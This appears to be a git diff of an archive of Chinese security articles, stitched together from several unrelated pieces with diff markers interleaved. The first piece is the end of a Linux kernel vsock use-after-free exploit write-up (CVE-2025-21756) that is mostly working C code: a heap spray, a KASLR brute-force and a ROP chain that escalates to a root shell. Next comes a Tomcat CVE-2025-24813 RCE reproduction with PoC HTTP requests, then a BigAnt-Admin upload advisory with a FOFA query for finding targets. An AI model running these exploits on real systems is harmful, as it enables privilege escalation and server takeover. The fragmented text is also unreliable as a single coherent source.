@h0mbre 建议使用管道支持页面，事实证明它比msg_msg我之前使用的对象更加稳定/易用。经过一番努力，我成功地编写了以下代码来泄漏sk_net指针。
|
||||
|
||||
```
|
||||
int junk[FLUSH];for (int i = 0; i < FLUSH; i++) junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);puts("[+] pre alloc sockets");int pre[PRE];for (int i = 0; i < PRE; i++) pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);// ... snip ... (alloc target & trigger uaf)puts("[+] fill up the cpu partial list");for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB) close(junk[i]);puts("[+] free all the pre/post alloc-ed objects");for (int i = 0; i < POST; i++) close(post[i]);for (int i = 0; i < PRE; i++) close(pre[i]);
|
||||
```
|
||||
|
||||
对象的预分配和后分配确保整个页面实际上被返回给伙伴分配器（参见此文）。下面是实际查找指针的代码skc_net。
|
||||
|
||||
```
|
||||
int pipes[NUM_PIPES][2];char page[PAGE_SIZE];memset(page, 2, PAGE_SIZE); // skc_state must be 2puts("[+] reclaim page");int w = 0;int j;i = 0;while (i < NUM_PIPES) { sleep(0.1); if (pipe(&pipes[i][0]) < 0) { perror("pipe"); break; } printf("."); fflush(stdout); w = 0; while (w < PAGE_SIZE) { ssize_t written = write(pipes[i][1], page, 8); j = query_vsock_diag(); w += written; if (j != 48) goto out; } i++; if (i % 32 == 0) puts("");}
|
||||
```
|
||||
|
||||
|
||||
如你所见，这段代码只是不断创建新的管道，并一次填充一个 QWORD（0x0202020202020202 以满足skc_state），直到vsock_diag_dump不再找到目标套接字。这意味着我们已经覆盖了skc_net。一旦我们真正覆盖了指针，我们只需要以相同的方式暴力破解地址的低 32 位即可。
|
||||
|
||||
```
|
||||
long base = 0xffffffff84bb0000; // determined through experimentationlong off = 0;long addy;printf("[+] attempting net overwrite (aslr bypass).\n");while (off < 0xffffffff) { close(pipes[i][0]); close(pipes[i][1]); if (pipe(&pipes[i][0]) < 0) { perror("pipe"); } addy = base + off; write(pipes[i][1], page, w - 8); write(pipes[i][1], &addy, 8); if (off % 256 == 0) { printf("+"); fflush(stdout); } j = query_vsock_diag(); if (j == 48) { printf("\n[*] LEAK init_net @ 0x%lx\n", base + off); goto out2; } off += 128;}
|
||||
```
|
||||
|
||||
|
||||
通过skc_net覆盖，我们一举两得。我们绕过了 kASLR，并找到了 vsock 对象中已知的偏移量。
|
||||
|
||||
现在剩下的就是找到一种可靠的方法来重定向执行流......
|
||||
|
||||
控制 RIP
|
||||
|
||||
为了控制指令指针，我采用了该vsock_release函数，因为它是少数不受 apparmor 保护的 vsock 功能之一。
|
||||
|
||||
```
|
||||
static int vsock_release(struct socket *sock){ struct sock *sk = sock->sk;if (!sk) return0; sk->sk_prot->close(sk, 0); __vsock_release(sk, 0); sock->sk = NULL; sock->state = SS_FREE;return0;}
|
||||
```
|
||||
|
||||
|
||||
我们最感兴趣的是对 的调用sk->sk_prot->close(sk, 0)。由于我们控制 sk，所以我们需要一个指向函数 的有效指针。这让我困惑了一段时间，直到我开始考虑使用其他有效的原型对象。我发现raw_proto有一个指向如下所示的中止函数的指针。
|
||||
|
||||
```
|
||||
int raw_abort(struct sock *sk, int err){ lock_sock(sk); sk->sk_err = err; sk_error_report(sk); __udp_disconnect(sk, 0); release_sock(sk); return 0;}
|
||||
```
|
||||
|
||||
|
||||
该函数调用 into sk_error_report，如下所示。
|
||||
|
||||
```
|
||||
void sk_error_report(struct sock *sk){ sk->sk_error_report(sk);switch (sk->sk_family) {case AF_INET: fallthrough;case AF_INET6: trace_inet_sk_error_report(sk); break;default: break; }}
|
||||
```
|
||||
|
||||
|
||||
因此，如果我们可以sk->sk_error_report使用堆栈枢轴小工具覆盖套接字的字段，我们就应该能够跳转到从套接字底部开始的 ROP 链。
|
||||
|
||||
|
||||
下面是覆盖之后 vsock 状态的清晰可视化。
|
||||
|
||||
```
|
||||
sk->sk_prot --> &raw_proto ↳ .close = raw_abort ↳ sk->sk_error_report(sk) → *stackivot*
|
||||
```
|
||||
|
||||
|
||||
另一个需要注意的是，需要sk_lock使用一些空字节和指针来伪造成员（这是通过大量调试确定的）。弄清楚所有这些之后，我构建了以下 ROP 链。
|
||||
|
||||
```
|
||||
long kern_base = base + off - 0x3bb1f80;printf("[*] leaked kernel base @ 0x%lx\n", kern_base);// calculate some rop gadgetslong raw_proto_abort = kern_base + 0x2efa8c0;long null_ptr = kern_base + 0x2eeaee0;long init_cred = kern_base + 0x2c74d80;long pop_r15_ret = kern_base + 0x15e93f;long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;long pop_rdi_ret = kern_base + 0x15e940;long commit_creds = kern_base + 0x1fcc40;long ret = kern_base + 0x5d2;// info for returning to usermodelong user_cs = 0x33;long user_ss = 0x2b;long user_rflags = 0x202;long shell = (long)get_shell;uint64_t* user_rsp = (uint64_t*)get_user_rsp();// return to user modelong swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;//getchar();printf("[+] writing the rop chain\n");close(pipes[i][0]);close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) { perror("pipe");}printf("[+] writingpayloadtovsk\n");write(pipes[i][1], page, w-56);charbuf[0x330];memset(buf, 'A', 0x330);charnot[0x330];memset(not, 0, 0x330);// createtheropchain!write(pipes[i][1], &pop_rdi_ret, 8); // stackpivottargetwrite(pipes[i][1], &init_cred, 8);write(pipes[i][1], &ret, 8); write(pipes[i][1], &ret, 8);write(pipes[i][1], &pop_r15_ret, 8); // junkwrite(pipes[i][1], &raw_proto_abort, 8); // sk_prot (callssk->sk_error_report())write(pipes[i][1], &ret, 8);write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);write(pipes[i][1], &null_ptr, 8); // raxwrite(pipes[i][1], &null_ptr, 8); // rdiwrite(pipes[i][1], &shell, 8); // ripwrite(pipes[i][1], &user_cs, 8);write(pipes[i][1], &user_rflags, 8);write(pipes[i][1], user_rsp, 8); // rspwrite(pipes[i][1], &user_ss, 8);write(pipes[i][1], buf, 0x18);write(pipes[i][1], ¬, 8); // sk_lockwrite(pipes[i][1], ¬, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], buf, 0x200);write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]//getchar();close(s); // trigger the exploit!
|
||||
```
|
||||
|
||||
|
||||
请注意，我没有调用该函数，prepare_kernel_cred(NULL)因为它不再受支持（会导致崩溃）。相反，我选择调用commit_creds一个结构体，该结构体具有相对于内核基址的常量偏移量，并且 uid=gid=0。我还从这篇init_cred博客中借用了 swapgs_restore_regs_and_return_to_usermode 技术。所有这些拼图碎片都到位后，我们的漏洞利用就能获得一个 root shell！
|
||||
|
||||
|
||||
该漏洞的最终源代码发布在这里
|
||||
https://github.com/hoefler02/CVE-2025-21756/blob/main/x.c。该漏洞还可以更加可靠和优雅，但作为我的第一个内核破解者，我已经很满意了！
|
||||
|
||||
谢谢你！
|
||||
|
||||
对于一个只涉及几行补丁代码的漏洞来说，这段旅程让我对内核的了解远超预期！如果没有[#kernelctf]()
|
||||
discord 频道上所有超级好心的黑客们的帮助，我永远也完成不了这次漏洞利用！谢谢大家！祝你破解愉快！
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
来阅读本文
|
||||
|
||||
|
||||
|
||||
**点它，分享点赞在看都在这里**
|
||||
|
||||
|
||||
|
||||
@ -1,5 +1,5 @@
|
||||
# 【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞
|
||||
原创 菜狗 富贵安全 2025-05-21 00:00
|
||||
原创 菜狗 富贵安全 2025-05-24 00:03
|
||||
|
||||
# 前言
|
||||
|
||||
|
||||
79
doc/2025-05/全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现.md
Normal file
79
doc/2025-05/全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现.md
Normal file
@ -0,0 +1,79 @@
|
||||
# 全网首发！CVE-2025-24813 Tomcat 最新 RCE 分析复现
|
||||
菜狗 富贵安全 2025-05-24 00:03
|
||||
|
||||
**漏洞概况**
|
||||
|
||||
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发，是目前最流行的 Java Web 服务器之一。
|
||||
|
||||
该漏洞利用条件较为复杂，需同时满足以下四个条件：
|
||||
1. 应用程序启用了DefaultServlet写入功能，该功能默认关闭
|
||||
|
||||
1. 应用支持了 partial PUT 请求，能够将恶意的序列化数据写入到会话文件中，该功能默认开启
|
||||
|
||||
1. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置，需要额外配置
|
||||
|
||||
1. 应用中包含一个存在反序列化漏洞的库，比如存在于类路径下的 commons-collections，此条件取决于业务实现是否依赖存在反序列化利用链的库
|
||||
|
||||
**漏洞影响范围**
|
||||
- 9.0.0.M1 <= tomcat <= 9.0.98
|
||||
|
||||
- 10.1.0-M1 <= tomcat <= 10.1.34
|
||||
|
||||
- 11.0.0-M1 <= tomcat <= 11.0.2
|
||||
|
||||
**漏洞原理分析**
|
||||
|
||||
Content-Range
|
||||
在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下，内容会被临时存储在Tomcat的工作目录：$CATALINA_BASE/work/Catalina/localhost/ROOT
|
||||
。
|
||||
|
||||
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制：文件路径中的分隔符/
|
||||
会被转换为.
|
||||
。例如：访问/xxxxx/session
|
||||
会被解析为.xxxxx.session
|
||||
|
||||
因此整个漏洞的利用过程为：
|
||||
1. Tomcat的File会话存储默认路径同样位于：CATALINA_BASE/work/Catalina/localhost/ROOT
|
||||
|
||||
1. 当存在反序列化利用链时，可以上传包含恶意序列化数据的文件
|
||||
|
||||
1. 通过设置JSESSIONID=.xxxxx
|
||||
来触发漏洞
|
||||
|
||||
**环境配置**
|
||||
|
||||
在conf/context.xml中，添加如下配置，开启File文件会话存储
|
||||
```
|
||||
<Context\> <Manager className\="org.apache.catalina.session.PersistentManager"\> <Store className\="org.apache.catalina.session.FileStore"/> </Manager\> </Context\>
|
||||
```
|
||||
|
||||
在conf/web.xml中，将DefaultServlet的readonly配置为false，启用写入功能
|
||||
```
|
||||
<servlet\> <servlet-name\>default</servlet-name\> <servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\> <init-param\> <param-name\>debug</param-name\> <param-value\>0</param-value\> </init-param\> <init-param\> <param-name\>readonly</param-name\> <param-value\>false</param-value\> </init-param\> <load-on-startup\>1</load-on-startup\> </servlet\>
|
||||
```
|
||||
|
||||
将Commons Collections 3.2.1.jar放入lib文件夹
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
生成一个恶意的序列化文件，使用以下数据包上传，需要注意Range的分块值需要与Length保持一致，且大于当前文件的长度。
|
||||
```
|
||||
PUT /xxxxx/session HTTP/1.1Host: 192.168.131.32:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{反序列化文件内容)}}
|
||||
```
|
||||
|
||||
使用以下PoC触发
|
||||
```
|
||||
GET / HTTP/1.1Host: 192.168.131.32:8080Cookie: JSESSIONID=.xxxxx
|
||||
```
|
||||
|
||||
|
||||
|
||||
**修复方案**
|
||||
|
||||
Apache基金会官方已发布漏洞公告，可下载补丁更新：https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
|
||||
|
||||
|
||||
原文链接：
|
||||
https://forum.butian.net/article/674
|
||||
|
||||
|
||||
@ -0,0 +1,113 @@
|
||||
# 杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞
|
||||
Superhero Nday Poc 2025-05-24 10:30
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
内容仅用于学习交流自查使用，由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Nday Poc及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 接口存在任意文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
app="BigAnt-Admin"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||
|
||||
|
||||
afrog
|
||||
|
||||
|
||||
|
||||
xray
|
||||
|
||||
|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、
|
||||
升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC（来源公开平台）
|
||||
|
||||
▫️ 所有脚本经过基础测试，降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明：仅限合法授权测试，严禁违规使用！
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# 渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测
|
||||
shuidi 渗透安全HackTwo 2025-05-22 16:21
|
||||
shuidi 渗透安全HackTwo 2025-05-24 09:05
|
||||
|
||||
0x01 工具介绍
|
||||
|
||||
|
||||
水滴工具箱 (shuidi) 是一款由MAOGE555开发的开源渗透测试工具集合。它旨在方便用户快捷调用各类安全工具，涵盖Web扫描、抓包、免杀等多个方面。该项目目前V8版本可供下载，V9版本正在积极开发中，致力于优选并添加新工具、升级旧版工具并优化布局分类，为安全专业人士提供一个持续更新、功能全面的集成化平台。
|
||||
水滴工具箱 (shuidi) 是一款的开源渗透测试工具集合。涵盖Web扫描、抓包、免杀等多个方面。该项目目前V8版本可供下载。
|
||||
|
||||
**注意：**
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
|
||||
199
doc/2025-05/翻倍回归，实物好礼。端午挖洞，漏洞必“粽”！.md
Normal file
199
doc/2025-05/翻倍回归，实物好礼。端午挖洞，漏洞必“粽”！.md
Normal file
@ -0,0 +1,199 @@
|
||||
# 翻倍回归，实物好礼。端午挖洞，漏洞必“粽”！
|
||||
原创 QAXSRC 奇安信安全应急响应中心 2025-05-24 04:39
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
甜粽咸粽
|
||||
不如
|
||||
|
||||
漏洞必中
|
||||
|
||||
实物好礼＆翻倍卡回归！
|
||||
|
||||
5/24～6/24
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
奖金翻倍
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
DRAGON BOAT FESTIVAL
|
||||
|
||||
|
||||
|
||||
|
||||
活动期间漏洞积分排行奖励
|
||||
|
||||
|
||||
Top1: 奖金3倍卡一张+价值3k实物奖品
|
||||
|
||||
Top2: 奖金2倍卡一张+价值1.5k实物奖品
|
||||
|
||||
Top3: 奖金1.5倍卡一张+价值1k实物奖品
|
||||
|
||||
Top4~5：标准奖金评定+价值1k实物奖品
|
||||
|
||||
|
||||
|
||||
|
||||
Rules
|
||||
|
||||
|
||||
|
||||
|
||||
活动要求
|
||||
|
||||
|
||||
1. 漏洞提交需按照指定格式提交，未按照格式提交不计入活动结算。
|
||||
|
||||
提交示例：
|
||||
【漏洞必中】xxx产品xxx漏洞
|
||||
|
||||
2. 需提交大于等于1个有效高危漏洞，方可计入活动奖励结算。
|
||||
|
||||
3. 翻倍卡使用时限：2025.6.25~7.24 ，且不与其他活动和奖励buff叠加。
|
||||
|
||||
4. 翻倍卡使用前，私信联系小安~
|
||||
|
||||
|
||||
|
||||
|
||||
Scope and Rewards
|
||||
|
||||
|
||||
|
||||
|
||||
收洞范围＆奖金标准
|
||||
|
||||
|
||||
参照QAXSRC产品漏洞评级标准2.0
|
||||
|
||||
https://qianxin.butian.net/ 公告
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
新人关怀
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Title
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞标题
|
||||
|
||||
漏洞提交需按照指定格式提交，未按照格式提交不计入活动结算。该漏洞既有新人关怀的额外奖励，也计入本次端午积分排行活动奖励结算。
|
||||
|
||||
提交示例：
|
||||
【漏洞必粽】xxx产品xxx漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
Rules
|
||||
|
||||
|
||||
|
||||
|
||||
活动规则
|
||||
|
||||
该活动仅面向在QAXSRC提交的
|
||||
第一个有效漏洞
|
||||
|
||||
活动时间：2025.5.24~6.24
|
||||
|
||||
|
||||
|
||||
|
||||
Rewards
|
||||
|
||||
|
||||
|
||||
|
||||
新人奖励
|
||||
|
||||
在原有奖励基础上，根据漏洞等级额外加赠奖励：
|
||||
|
||||
1. 高危漏洞获得额外现金奖励500元
|
||||
|
||||
2. 中危漏洞额外赠送硬盘盒1个(价值约100￥)
|
||||
|
||||
3. 低危漏洞额外赠送恒温杯套装一份
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
提交漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
联系小安
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user